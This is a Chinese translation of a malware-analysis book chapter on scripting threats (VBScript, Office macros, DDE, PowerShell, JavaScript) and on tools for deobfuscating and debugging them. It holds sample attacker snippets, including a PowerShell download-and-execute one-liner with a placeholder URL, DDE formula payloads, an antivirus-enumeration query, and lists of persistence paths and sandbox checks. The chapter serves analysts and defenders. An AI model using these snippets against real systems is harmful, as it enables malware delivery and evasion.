就像任何其他编程语言编写的恶意软件一样,这里也可以加入混淆技术来延缓逆向工程过程,并绕过基本的签名检测。理论上,有多种方法可以实现,如动态解码和执行命令、使用奇怪的变量名,或者应用 sed/awk 字符串替换。然而,值得一提的是,现代物联网恶意软件仍然没有采用任何复杂的技术手段。这主要是因为所使用的脚本非常通用,通常只有在知道相应的网络 IOC 或检测到最终有效载荷时,才能可靠地检测到它们。

这就是我们需要了解的关于 shell 脚本的全部内容。现在,是时候讨论完整的编程语言了。特别地,让我们从微软的 Visual Basic 脚本版VBScript)威胁开始。

VBScript 解释

VBScript 是第一个嵌入 Windows 操作系统的主流编程语言。系统管理员长期以来一直积极使用它来自动化某些类型的任务,而无需安装任何第三方软件。它适用于所有现代微软系统,逐渐成为恶意软件编写者的流行选择,因为它提供了一种无需重新编译关联代码就能执行特定操作的可靠方法。

在撰写本文时,微软已决定转向 PowerShell 来处理管理任务,并将未来所有的 VBScript 支持交给 ASP.NET 框架。目前,尚无计划在未来的 Windows 版本中停止支持它。

VBScript 文件的本地文件扩展名为 .vbs,但也可以将其编码为使用 .vbe 扩展名的文件。此外,它们还可以嵌入到 Windows 脚本文件(.wsf)或 HTML 应用程序(.hta)文件中。.vbs.vbe.wsf 文件可以通过 wscript.exe 执行,该程序提供了适当的 GUI,或者通过 cscript.exe 执行,该程序是控制台替代品。.hta 文件可以通过 mshta.exe 工具执行。VBScript 代码还可以通过命令行直接执行,使用 mshta vbscript:<script_body> 语法。

基本语法

最初,这项技术是为了供 Web 开发人员使用的,这一事实极大地影响了其语法。VBScript 模仿了 Visual Basic,并具有类似的编程元素,例如条件结构、循环结构、对象和嵌入函数。数据类型略有不同,例如,VBScript 中所有变量默认都是 Variant 类型。

大多数这些高级功能可以通过相应的 微软组件对象模型COM)对象访问。COM 是一个分布式系统,用于创建和交互软件组件。

以下是一些常被攻击者误用的 COM 对象及其相应的方法和属性:

  • WScript.Shell:这提供了对多个系统范围操作的访问,如下所示:

    • RegRead/RegDelete/RegWrite:这些操作与 Windows 注册表交互,用于检查特定软件的存在(如防病毒程序),篡改其功能,删除活动痕迹,或添加模块以启动自动运行。

    • Run:此功能用于运行应用程序。

  • Shell.Application:此功能提供更多与系统相关的功能,具体如下:

    • GetSystemInformation:此功能获取各种系统信息,例如可用内存的大小,以识别沙箱环境。

    • ServiceStart:此功能用于启动服务,例如与持久性模块相关联的服务。

    • ServiceStop:此功能用于停止服务,例如属于防病毒软件的服务。

    • ShellExecute:此功能用于运行脚本或应用程序。

  • Scripting.FileSystemObject:此功能提供对文件系统操作的访问,具体如下:

    • CreateTextFile/OpenTextFile:此功能用于创建或打开文件。

    • ReadLine/ReadAll:此功能用于读取文件内容,例如包含某些重要信息或其他加密模块的文件。

    • Write/WriteLine:此功能用于向已打开的文件写入内容,例如覆盖重要文件或配置文件的内容,或传递下一阶段的攻击或混淆的有效载荷。

    • GetFile:此功能返回一个File对象,提供对多个文件属性和一些有用方法的访问。

      • Copy/Move:此功能用于将文件复制或移动到指定位置。

      • Delete:此功能用于删除相应的文件。

      • Attributes:此属性可修改以更改文件的属性。

    • CopyFile/Move/MoveFile:此功能用于将文件复制或移动到另一个位置。

    • DeleteFile:此功能用于删除指定的文件。

  • Outlook.Application:此功能允许攻击者访问 Outlook 应用程序,以传播恶意软件或垃圾邮件。

    • GetNameSpace:某些命名空间,如 MAPI,允许攻击者访问受害者的联系人。

    • CreateItem:此功能允许创建新邮件。

  • Microsoft.XMLHTTP/MSXML2.XMLHTTP:此功能允许攻击者发送 HTTP 请求,与 Web 应用程序交互。

    • Open:此功能用于创建请求,例如GETPOST请求。

    • SetRequestHeader:此功能用于设置自定义头部,例如用于受害者统计信息、额外的基本身份验证层,或甚至数据外泄。

    • Send:此功能用于发送请求。

    • GetResponseHeader/GetAllResponseHeaders:这些属性用于检查响应中的额外信息或基本服务器验证。

    • ResponseText/ResponseBody:这些属性提供对实际响应的访问,例如命令或其他恶意模块。

  • MSXML2.ServerXMLHTTP:此功能提供与前述 XMLHTTP 相同的功能,但主要用于服务器端。通常推荐使用此功能,因为它处理重定向更好。

  • WinHttp.WinHttpRequest:此功能提供类似的功能,但它是通过不同的库实现的。

  • ADODB.Stream:此功能允许攻击者处理各种类型的流,具体如下:

    • Write:此方法用于向流对象写入数据,例如从 C&C 响应中写入数据。

    • SaveToFile:此方法将流数据写入文件。

    • Read/ReadText:这些方法可用于访问 base64 编码的值。

  • Microsoft.XMLDOM/MSXML.DOMDocument:这些最初是为处理 XML 设计的,createElement:可以与 ADODB.Stream 一起使用,在与 bin.base64 DataType 值以及 NodeTypedValue 属性一起使用时,用于处理 base64 编码。

那么,如何在执行分析时利用这些信息呢?这里是一个简单的代码示例,执行另一个有效负载:

Dim Val
Set Val= Wscript.CreateObject(“WScript.Shell")
Val.Run “""C:\Temp\evil.vbe"""

如你所见,一旦对象被创建,它的方法可以立即执行。在本地方法中,以下方法可用于执行表达式和语句:

  • Eval:此函数用于计算一个表达式并返回结果值。它将=运算符解释为比较操作符,而非赋值操作符。

  • Execute:此方法用于在本地作用域内执行一组由冒号或换行符分隔的语句。

  • ExecuteGlobal:此方法与 Execute 相同,但适用于全局作用域。攻击者常常用它来执行解码后的代码块。

此外,使用 VBScript 操作 Windows 管理工具 (WMI) 相对简单。WMI 是用于管理 Windows 系统中数据的基础设施,可以访问各种信息,例如许多系统属性或已安装的防病毒产品列表。这些对攻击者来说都是潜在的兴趣点。

这里有两种方法可以访问:

  • 借助 WbemScripting.SWbemLocator 对象及其 ConnectServer 方法来访问 root\cimv2

    Set objLocator = CreateObject("WbemScripting.SWbemLocator") Set objService = objLocator.ConnectServer(".", "root\cimv2") objService.Security_.ImpersonationLevel = 3
    Set Jobs = objService.ExecQuery("SELECT * FROM AntiVirusProduct")
    
  • 通过 winmgmts: 标识符:

    strComputer = "."
    Set oWMI = GetObject("winmgmts:\\" & "." & "\root\SecurityCenter2")
    Set colItems = oWMI.ExecQuery("SELECT * from AntiVirusProduct")
    

现在,让我们来讨论可以用来促进分析的工具。

静态与动态分析

曾经支持的 Microsoft 脚本调试器 已被 Microsoft 脚本编辑器 取代,并且作为 MS Office 的一部分一直发布到 2007 版本;后来该工具被停用:

图 10.4 – Microsoft 脚本编辑器界面

图 10.4 – Microsoft 脚本编辑器界面

对于基本的静态分析,一个支持语法高亮的通用文本编辑器可能就足够了。对于动态分析,强烈建议使用 Visual Studio。即使是免费的社区版也提供了进行高效分析所需的所有功能。要开始调试过程,你可能首先希望以以下方式执行脚本:

cscript.exe /x evilscript.vbs

然而,对于大多数人来说,这不会立即生效。在此之前,你需要确保你的 IDE 已注册为 JIT 调试器。要为 Visual Studio 注册,进入其 工具 | 选项... | 调试 | 即时调试 设置,确保 脚本 选项被勾选:

图 10.5 – 将 Visual Studio 注册为 VBScript 的 JIT 调试器

图 10.5 – 将 Visual Studio 注册为 VBScript 的 JIT 调试器

之后,执行上述 cscript 命令将自动开始建议使用 Visual Studio 进行调试:

图 10.6 – cscript 提示使用 Visual Studio 进行 VBScript 调试

图 10.6 – cscript 提示使用 Visual Studio 进行 VBScript 调试

一旦确认,所有准备工作就绪,你可以开始动态分析了:

图 10.7 – 在 Visual Studio 中调试 VBScript 文件

图 10.7 – 在 Visual Studio 中调试 VBScript 文件

尽管使用 Scripting.Encoder 对象提供的 EncodeScriptFile 方法将 .vbs 文件编码为 .vbe 相对简单,但并没有原生工具可以将 .vbe 脚本解码回 .vbs;否则,这将削弱其目的:

图 10.8 – 原始和编码后的 VBScript 文件

图 10.8 – 原始和编码后的 VBScript 文件

然而,确实有一些开源项目旨在解决这个问题;例如,Didier Stevens 的 decode-vbe.py 工具。

在分析代码时,特别需要关注以下操作:

  • 文件系统和注册表访问

  • 与远程服务器的交互

  • 应用程序与脚本执行

最后,让我们谈谈混淆以及如何处理它。

解除混淆

很常见,VBS 混淆使用相当基础的技巧,如添加垃圾注释或使用需要字符替换后才能使用的字符串。语法高亮在分析此类文件时非常有用。

另一个常见的示例是从嵌入的数据构建第二阶段有效载荷,例如从一个整数数组,然后动态执行它,如下图所示:

图 10.9 – VBScript 恶意软件动态构建第二阶段有效载荷

图 10.9 – VBScript 恶意软件动态构建第二阶段有效载荷

将其转换为实际代码的最简单方法之一是使用一个名为 CyberChef 的绝佳在线工具:

图 10.10 – VBScript 恶意软件解码后的第二阶段

图 10.10 – VBScript 恶意软件解码后的第二阶段

一旦你获得了实际的功能代码,处理它的最简单方法是搜索你最感兴趣的函数(我们之前列出的那些),并检查它们的参数,以获取有关丢弃或外泄文件、执行的命令、访问的注册表项以及需要连接的 C&C(命令与控制)信息。如果混淆层使得功能完全不清晰,那么需要追踪在下一个阶段脚本中累积的变量。你可以逐层迭代,逐一打印或观察它们,直到主代码块变得可读。

现在我们了解了 VBScript,让我们谈谈一个稍微不同的话题——宏以及依赖它们的威胁。

VBA 和 Excel 4.0(XLM)宏及其他

虽然许多高调的恶意软件攻击与利用的漏洞相关,但人类依然是防御链中最弱的环节。社会工程学技巧使恶意行为者能够在不创建或购买复杂漏洞的情况下成功执行其代码。

由于许多组织现在为所有新员工提供网络安全培训,许多人已经了解了一些基本常识,例如,通过各种方式从组织外部或你认识的人群中接收到的链接或可执行文件是非常不安全的。因此,攻击者必须发明新的方法来欺骗用户,包含恶意宏的文档就是这些持续努力的一个典型例子。

VBA 宏

MS Office 宏包含了Visual Basic for ApplicationsVBA)编程语言。它源自已经停用很久的 Visual Basic 6。VBA 幸存下来,并在后来升级到了 7 版本。通常,代码只能在宿主应用程序中运行,并且它被集成在大多数 Microsoft Office 应用程序中(即使是 macOS 版)。

基本语法

VBA 是 Visual Basic 的一种方言,继承了其语法。VBScript 可以看作是 VBA 的一个子集,简化了一些功能,主要是由于不同的应用程序模型。在分析 VBA 对象时,仍需要注意相同的元素:

  • 文件和注册表操作

  • 网络活动

  • 执行的命令

攻击者关注的 COM 对象列表与 VBScript 的相同。唯一的区别是,某些功能可以在不创建对象的情况下访问;例如,Shell方法。

为确保恶意软件能够自动执行,它必须使用某些标准函数名来定义何时执行。这些函数名在不同的 MS Office 产品中略有不同。以下是最常被滥用的几个:

  • AutoOpen/Auto_Open

  • AutoExit/Auto_Close

  • AutoExec

  • Document_Open/Workbook_Open

这是一个使用Document_Open实现这一目的的示例:

图 10.11 – 一个恶意的 VBA 宏注册Document_Open例程以实现执行

图 10.11 – 一个恶意的 VBA 宏注册Document_Open例程以实现执行

恶意软件还可以安装专用的处理程序,以便在某些条件下稍后执行,例如,使用Application.OnSheetActivate函数。

MS Office 有自己的自动启动目录,恶意软件常通过滥用这些目录来实现持久性。它们通过将代码放置在这些目录中来实现。以下是不同产品和版本的标准目录:

  • %APPDATA%\Microsoft\Word\STARTUP

  • C:\Program Files\Microsoft Office\[root\]<Office1x>\STARTUP

  • %APPDATA%\Microsoft\Excel\XLSTART

  • C:\Program Files\Microsoft Office\[root\]<Office1x>\XLSTART

除此之外,通过操控全局宏文件也可以实现持久性:

  • Normal.dot/.dotm:Word 的全局宏模板(在%APPDATA%\Microsoft\Templates中)

  • Personal.xls/.xlsb:Excel 的全局宏工作簿(在XLSTART中)

现在,让我们来谈谈哪些工具可以帮助我们分析恶意宏。

静态和动态分析

与 VBScript 不同,VBA 在 MS Office 中有一个原生编辑器,可以通过开发工具选项卡访问,该选项卡默认情况下是隐藏的。可以在Word 选项自定义功能区菜单中启用它:

图 10.12 – 在 MS Office 选项中启用 VBA 宏编辑器

图 10.12 – 在 MS Office 选项中启用 VBA 宏编辑器

它支持以这种方式调试代码,使得静态和动态分析相对直接。

另一个可以从文档中提取宏的工具是info命令行参数。除此之外,之前提到的来自oletools项目的工具(尤其是olevba)和oledump也可以用来提取和分析 VBA 宏。如果工程师因为某些原因想处理 p-code 而不是源代码,pcodedmp项目旨在提供所需的功能。

最后,ViperMonkey可以用来模拟一些 VBA 宏,从而帮助处理混淆。

Excel 4.0 (XLM) 宏

XLM 宏,也称为公式,是 Microsoft Excel 中存在了 30 年的功能,最近突然在攻击者中获得了流行。一个例子是SUM函数,通常用于自动计算分布在多个单元格中的数字总和。虽然其中一些本身可能是危险的,例如EXEC,它允许任意命令执行,但在大多数情况下,攻击者会将许多无害的宏链在一起,以实现恶意功能。

基本语法

以下是一些常见的在最终去混淆有效载荷中被误用的公式示例:

  • IF(logical_test, value_if_true, value_if_false)

  • SEARCH(find_text, within_text, start_num)

  • CALL(dll_name, api_name, format, arg0, …)

另一个类似于CALL选项的选项是REGISTER

一个明显的简单恶意有效载荷示例就是调用URLDownloadToFileShellExecuteA等 API 来传送并执行下一个阶段的有效载荷。

但实际上,几乎所有现代恶意宏都会被混淆,并且会使用一套不同的宏来构建实际的恶意功能。我们将在这里介绍这些宏。对于.xls文档,在.xlsb.xlsm基于 OOXML 的 Excel 文档之后,相应的数据通常可以在 BIFF12 和 XML 格式的\xl\macrosheets\目录中找到。

最后,与 VBA 宏一样,公式可以使用一些特定的标准单元格名称来实现自动运行功能。一个例子是以Auto_Open前缀开头的单元格:

图 10.13 – 包含将自动执行的 XLM 宏的单元格

图 10.13 – 将自动执行的 XLM 宏所在的单元格

现在,让我们讨论基于 XLM 的有效载荷是如何被混淆的。

混淆

攻击者可能尝试通过多种方式使逆向工程师在试图理解恶意软件的目的时遇到困难。让我们探讨其中最常见的几种方式:

  • 使用白色字体和白色背景以及分散的公式,使文档打开时不可见。

  • 使用 RUNGOTO 公式通过从一个单元格跳到另一个单元格来使控制流复杂化。

  • 使用 CHAR 命令动态解析字符串字符,使用 MID 获取子字符串。

  • 使用 FORMULA 命令移动或累积工作表中的内容,或者使用 GET.CELLSET.VALUE 命令的组合来修改内容。

  • 将恶意公式存储在隐藏的工作表中。分为两种类型,每种类型应采用不同的处理方式:

    • hidden:右键点击任何可见工作表并选择 取消隐藏…,然后启用所有隐藏的工作表:

图 10.14 – 在 Excel 中取消隐藏隐藏的工作表

图 10.14 – 在 Excel 中取消隐藏隐藏的工作表

  • veryhidden:将对应的 BoundSheet 记录中的 hsState 字段从 2 更改为 0,该记录是 BIFF8 格式(这需要使用专用工具,如 OffVis):

图 10.15 – 更改与非常隐藏工作表关联的 hsState 字段

图 10.15 – 更改与非常隐藏工作表关联的 hsState 字段

  • 使用隐藏的名称。要显示它们,请清除相应 LBL 记录中的 fHidden 位:

图 10.16 – 更改 fHidden 字段以取消隐藏关联的名称

图 10.16 – 更改 fHidden 字段以取消隐藏关联的名称

  • 使用 GET.WORKSPACE 和不同的参数来检测沙箱,例如以下内容:

    • 13/14:工作区宽度/高度

    • 19:鼠标可用性

    • 31:如果当前正在使用单步执行模式

    • 42:音频可用性

  • 仅在特定日期执行有效载荷以干扰行为分析

  • 检查字体大小和行高,或者检查窗口是否已最大化,以检测篡改行为

这些是最常见的混淆技术。最后,让我们看看哪些工具能帮助我们进行分析。

静态与动态分析

首先,前面提到的 olevba 工具也可以用来自动提取 XLM 宏。如果系统中还安装了另一个名为 XLMMacroDeobfuscator 的工具,那么 olevba 的输出也会被很好地去混淆:

图 10.17 – 提取并去混淆的 XLM 宏链

图 10.17 – 提取并去混淆的 XLM 宏链

除此之外,Microsoft Excel 提供了很好的内嵌调试公式的功能。主要是其名称管理器和宏调试器部分将特别有用:

图 10.18 – 使用 Excel 调试器动态分析 XLM 宏链

图 10.18 – 使用 Excel 调试器动态分析 XLM 宏链

最后,BiffViewOffVis 工具可以提供 BIFF8 内部结构的详细视图。OffVis 还可以帮助绕过一些之前提到的混淆技术,这些技术涉及隐藏工作表和名称。

关于 XLM 宏的内容到此为止。我们已经学习了很多关于基于宏的威胁,因此现在是时候讨论其他恶意软件通过滥用 MS Office 文档来实现其目标的方法了。

除了宏之外

攻击者可能使用其他方法来在文档打开后执行代码。另一种方法是使用 鼠标点击/鼠标悬停 技术,该技术通过在用户将鼠标移到 PowerPoint 中的精心设计对象上时执行命令。

这可以通过将相应的操作分配给它来完成,如下所示:

图 10.19 – 在 PowerPoint 中为对象添加操作

图 10.19 – 在 PowerPoint 中为对象添加操作

好消息是,更新版本的 Microsoft Office 应该已经启用了受保护视图(只读访问)安全功能,如果文档来自不安全位置,它将警告用户可能的外部程序执行。在这种情况下,一切都依赖于社交工程——攻击者是否成功说服受害者忽视或禁用所有警告。

恶意软件可能实现执行的另一种不太常见的方法是使用 .SettingContent-ms 文件扩展名,或嵌入到其他文档中。在那里可以使用 DeepLink 标签指定要执行的命令。在几次尝试滥用此功能后,微软迅速增强了该功能的安全性。现在,我们很少看到恶意软件再针对它进行攻击。

最后,DDEAUTO 字段与执行命令的参数。这种功能的另一种滥用方式是使用 Microsoft Excel 中的特定语法。在这种情况下,恶意文件将以以下方式构造命令:

(+|-|=)<command_to_execute>|'<optional_arguments_prepended_by_space>'!<row_or_c olumn_or_cell_number>

或者,可以将命令作为参数传递给内置的良性函数,如 SUM。以下是一些执行 calc.exe 的示例有效载荷,前提是用户确认:

=calc|' '!A
+cmd|' /c calc.exe'!7
@SUM(calc|' '!Z99)

这是 Microsoft Excel 在使用此技术时显示的警告信息示例:

图 10.20 – 与潜在代码执行相关的 Microsoft Excel 警告框示例

图 10.20 – 与潜在代码执行相关的 Microsoft Excel 警告框示例

msodde 工具(oletools 的一部分)可能有助于在样本中检测此类技术。

虽然此处的任何代码执行都需要用户确认后才能启用,但借助社交工程,这依然是一个可能的攻击途径。

现在我们已经掌握了基于宏的威胁,接下来是时候讨论攻击者如今常常滥用的另一种脚本语言——PowerShell!

PowerShell 的强大功能

PowerShell 代表了 Windows Shell 和脚本语言的持续演变。其强大的功能、对.NET 方法的访问以及与最近版本 Windows 的深度集成,极大促进了它在普通用户和恶意攻击者中的流行。从攻击者的角度来看,它有许多其他优势,特别是在混淆方面,我们将详细讲解。此外,由于整个脚本可以被编码并作为单个命令执行,它不需要脚本文件写入硬盘,因此对法医专家留下的痕迹最少。

让我们从其语法的特点开始。

基本语法

PowerShell 命令行参数因其实现的某些特性而为攻击者提供了独特的机会。例如,PowerShell 能够理解即使是截断的参数和相关参数,只要它们不含歧义。让我们回顾一些在执行恶意代码时常用的值:

  • -NoProfile(通常简称为-NoP):跳过加载 PowerShell 配置文件的过程;它很有用,因为它不受本地设置的影响。

  • -NonInteractive(通常简称为-NonI):不会显示交互式提示;当目的是仅执行指定命令时非常有用。

  • -ExecutionPolicy(通常简称为-Exec-EP):通常与Bypass参数一起使用,用于忽略限制某些 PowerShell 功能的设置。也可以通过其他方法实现;例如,通过修改 PowerShell 的执行策略注册表值。

  • -WindowStyle(通常简称为-Win-W):通常攻击者会使用Hidden(或1)参数来隐藏对应的窗口,以达到隐蔽目的。

  • -Command(通常简称为-C):执行在命令行中提供的命令。

  • -EncodedCommand(通常简称为-Enc-EC-E):用于执行在命令行中提供的编码(base64)命令。

在前面的例子中,命令行参数可以被截断成任意数量的字母,仍然对 PowerShell 有效。例如,-NoProfile-NoProf,或者HiddenHidde,都会被按相同方式处理。

关于语法,让我们看看一些攻击者常常滥用的命令。

本地 cmdlet

  • Invoke-Expressioniex):执行作为参数提供的语句;它与 JavaScript 中的eval函数非常相似。

  • Invoke-Commandicm):通常与-ScriptBlock参数一起使用,实现与Invoke-Expression几乎相同的功能。

  • Invoke-WebRequestiwr):发送一个 Web 请求;例如,它可以发送请求与 C&C 进行交互。

  • ConvertTo-SecureString:通常用于解密嵌入的脚本。

基于.NET 的方法

  • 来自[System.Net.WebClient]类,我们有以下内容:

    • DownloadString:下载一个字符串并将其存储在内存中,例如一个新命令或要执行的脚本。

    • DownloadData:攻击者较少使用此方法;它将有效负载作为字节数组下载。

    • DownloadFile:将文件下载到磁盘,例如一个新的恶意模块。

这些方法每个都有一个异步版本,带有相应的名称后缀(如DownloadStringAsync)。

  • [System.Net.WebRequest][System.Net.HttpWebRequest][System.Net.FileWebRequest][System.Net.FtpWebRequest]类,我们有以下方法:

    • Create(也包括CreateDefaultCreateHttp):用于创建一个向服务器发送的网络请求。

    • GetResponse:发送请求并获取响应,例如与一个新的恶意模块。带有Async后缀和BeginEnd前缀的版本也可用于异步操作(如BeginGetResponseGetResponseAsync),但攻击者很少使用这些异步版本。

    • GetRequestStream:返回一个用于向互联网资源写入数据的流——例如,窃取一些有价值的信息或发送感染统计数据。带有Async后缀和BeginEnd前缀的版本也可以使用。

  • [System.Net.Http.HttpClient]类,我们有以下方法:

    • GetAsyncGetStringAsyncGetStreamAsyncGetByteArrayAsyncPostAsyncPutAsync:这些是发送任何类型 HTTP 请求并接收响应的多种选择。
  • [System.IO.Compression.DeflateStream][System.IO.Compression.GZipStream]类通常用于解压经过 Base64 解码后的嵌入式 Shellcode。它们通常与[System.IO.Compression.CompressionMode]::Decompress参数一起用作[System.IO.StreamReader]对象的参数(以下截图提供了示例)。

  • [System.Convert]类,我们有以下方法:

    • FromBase64String:用于解密 Base64 编码的字符串,例如下一个阶段的有效负载。

对于.NET 命名空间,System.前缀可以安全省略,如下所示:

图 10.21 – 一个 Veil 有效负载的示例

图 10.21 – 一个 Veil 有效负载的示例

如我们所见,结合压缩和 Base64 编码是攻击者常用的技术,用于存储下一个阶段的有效负载,从而使分析和检测更加复杂。我们将在下一节中详细讨论其他混淆技术。以下是下载并执行有效负载的代码示例:

iex(new-object net.webclient).downloadstring('http://<url>/payload.bin')

与命令行参数一样,方法名可以被截断而不会产生歧义。分析师可以使用带有通配符的Get-Command/gcm命令来识别完整的名称,攻击者也可以使用它们来动态解析方法名。

PowerShell 还可以用于执行自定义的 .NET 代码。特别是,Add-Type -TypeDefinition <variable_storing_source_code> 语法可以用来动态编译 .NET 源代码直接在 PowerShell 脚本中,这样它就可以立即使用。为了这个目的,csc.exe 工具将在后台被使用。

臭名昭著的基于 PowerShell 的 Bluwimps 将信息存储在 WMI 管理类中。这使得它难以通过传统的防病毒解决方案进行检测,并且可以通过 Windows 管理工具命令 (WMIC) 远程执行代码,而不是使用更广泛使用的 psexec 工具。

混淆

网上有多个开源工具可以生成和/或混淆基于 PowerShell 的有效载荷用于渗透测试。此列表包括但不限于以下内容:

  • PowerSploit

  • PowerShell Empire

  • Nishang

  • MSFvenom(Metasploit 的一部分)

  • Veil

  • Invoke-Obfuscation

如我们所知,PowerShell 命令是通过 Windows 控制台执行的,因此我们之前描述的几乎所有混淆技术都可以在这里应用。此外,几种其他简单的混淆技巧也证明非常流行:

  • 使用基本的 + 语法进行多重字符串连接,可以是实际值或存储它们的变量,或者使用 JoinConcat 函数。

  • 多个过多的单引号、双引号和反引号。

  • splitjoin 的使用,如下所示:

    iex (<value_with_separators>.split("<separator>") -join "") | iex)
    
  • 字符串反转(通常是通过从末尾读取反转的字符串,或将其强制转换为数组并使用 [Array]::Reverse;很少使用带有 RightToLeft 遍历类型的正则表达式)。使用 [Char]<numeric_value>ToInt<int_size> 语法而不是符号本身。

  • 使用上述方法(参见 图 10.21 了解示例)结合压缩和 Base64 编码。

在加密方面,以下方法已被证明非常流行:

  • -bxor 算术运算符用于简单加密。

  • ConvertTo-SecureString cmdlet 用于将加密块转换为安全字符串,它将信息以加密形式存储在内存中。通常与以下代码块一起使用,以访问安全字符串内部的实际值:

    [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(<secure_string>))
    

对于此 cmdlet,可以通过 -key-securekey 参数(或类似 -kE 的参数)提供解密密钥。

为了处理它们,你必须成功识别正在使用的算法,然后使用可用信息反转逻辑。使用你喜欢的编程语言编写简单脚本是一种选择,但在许多情况下,只能通过在线 CyberChef 工具来处理。

让我们讨论一下我们可以使用哪些其他工具来促进分析。

静态分析和动态分析

PowerShell 有一个强大的内嵌帮助工具,可以用来获取任何命令的描述。通过执行 Get-Help <command_name> 语句可以获取:

图 10.22 – 获取 PowerShell 命令的描述

图 10.22 – 获取 PowerShell 命令的描述

总的来说,去混淆和解码操作主要只需要一套基本技能,例如如何解码 base64,如何解压 deflate 和 gzip,如何去除无意义的字符,如何替换变量,以及如何读取部分完成的命令。在这种情况下,任何带有相应语法高亮的文本编辑器都可以用于静态分析。

虽然xor可以通过多种方式解密,但处理嵌入式 PowerShell 加密的最简单方法是通过 PowerShell 的动态分析,Set-ContentAdd-ContentOut-File cmdlet,并且可以使用管道符号(|)或经典的>>>输入重定向:

powershell -c "$a='secret'; $a | set-content 'output.txt'"

或者,可以使用Write-Host cmdlet 将解密后的输出写入控制台,然后重定向到文件。最后,一个名为PSDecode的强大工具可以用来快速处理混淆,自动化完成(这可能涉及代码执行,所以请谨慎使用)。

现在,到了讨论基于 JavaScript 的威胁的时刻。

处理 JavaScript

JavaScript 是一种网页语言,驱动着互联网数十亿的页面,因此它被广泛用于创建针对网络用户的漏洞利用也不足为奇。然而,在 Windows 上,也可以通过 Windows 脚本宿主执行 JScript(一个与 ECMAScript 非常相似的方言)文件,这也使其成为恶意附件和后渗透脚本的一个不错的候选项。例如,一种名为Poweliks的无文件威胁通过存储在注册表中的 JScript 代码实现系统持久化,而无需在磁盘上留下独立的文件。

由于 JavaScript 和 JScript 之间存在一些微小差异,这里我们将介绍它们共同的语法。此外,从现在开始,我们将使用 JavaScript 符号表示法。

JavaScript 文件的通用扩展名是.js;编码过的 JScript 文件则有.jse扩展名。此外,它们也可以像 VBScript 一样嵌入到.wsf.hta文件中。在相似性方面,在 Windows 上,.js/.jse.wsf文件可以通过wscript.execscript.exe本地执行。另一方面,.hta文件则由mshta.exe执行。执行内联 JavaScript 脚本有几种方式:

mshta javascript:<script_body>

rundll32.exe javascript:"..\mshtml,RunHTMLApplication";<script_body>

除此之外,在 Windows 上,可以使用regsvr32.exe作为 COM 脚本组件(.sct文件)执行 JavaScript 代码。在 Linux 上,有多种方法可以从控制台执行 JavaScript 文件,例如phantomjs,当然,也可以在完整的浏览器中执行 JavaScript 代码。我们将在静态与动态分析部分详细讨论这一点。

基本语法

如果脚本将要在本地执行,则应特别注意某些类型的操作,它们可以回答关于脚本目的、持久性机制和通信协议的问题。与 VBScript 的相似性方面,在 Windows 上,可以使用相同的 COM 对象,如前所述:

图 10.23 – 一个 JavaScript 代码示例,写入数据到 Windows 上的文件

图 10.23 – 一个 JavaScript 代码示例,写入数据到 Windows 上的文件

在 Linux 上,JavaScript 不用于本地执行命令,因为它需要一些自定义模块,如 node.js,而这些模块可能在目标系统上不可用。

在 Web 应用程序中,以下函数需要注意:

代码执行

eval: 执行作为参数提供的脚本块

页面重定向

这里有多种选项,如下方代码块所示:

  • window.location = '<new_url>';

  • window.location.href = '<new_url>';

  • window.location.assign('<new_url>');

  • window.location.replace('<new_url>'); // 替换浏览器历史中的当前页面

重要提示

window. 部分通常可以省略。

  • self.location = '<new_url>';

  • top.location = '<new_url>';

  • document.location = '<new_url>';

    重要提示

    它们也有可能的衍生技术,类似于前面提到的基于 window.location 的技术。

除此之外,还有另一种不使用 JavaScript 的方式来重定向用户:

  • ;

外部脚本加载

posted @ 2025-07-07 14:36  绝不原创的飞龙  阅读(302)  评论(0)    收藏  举报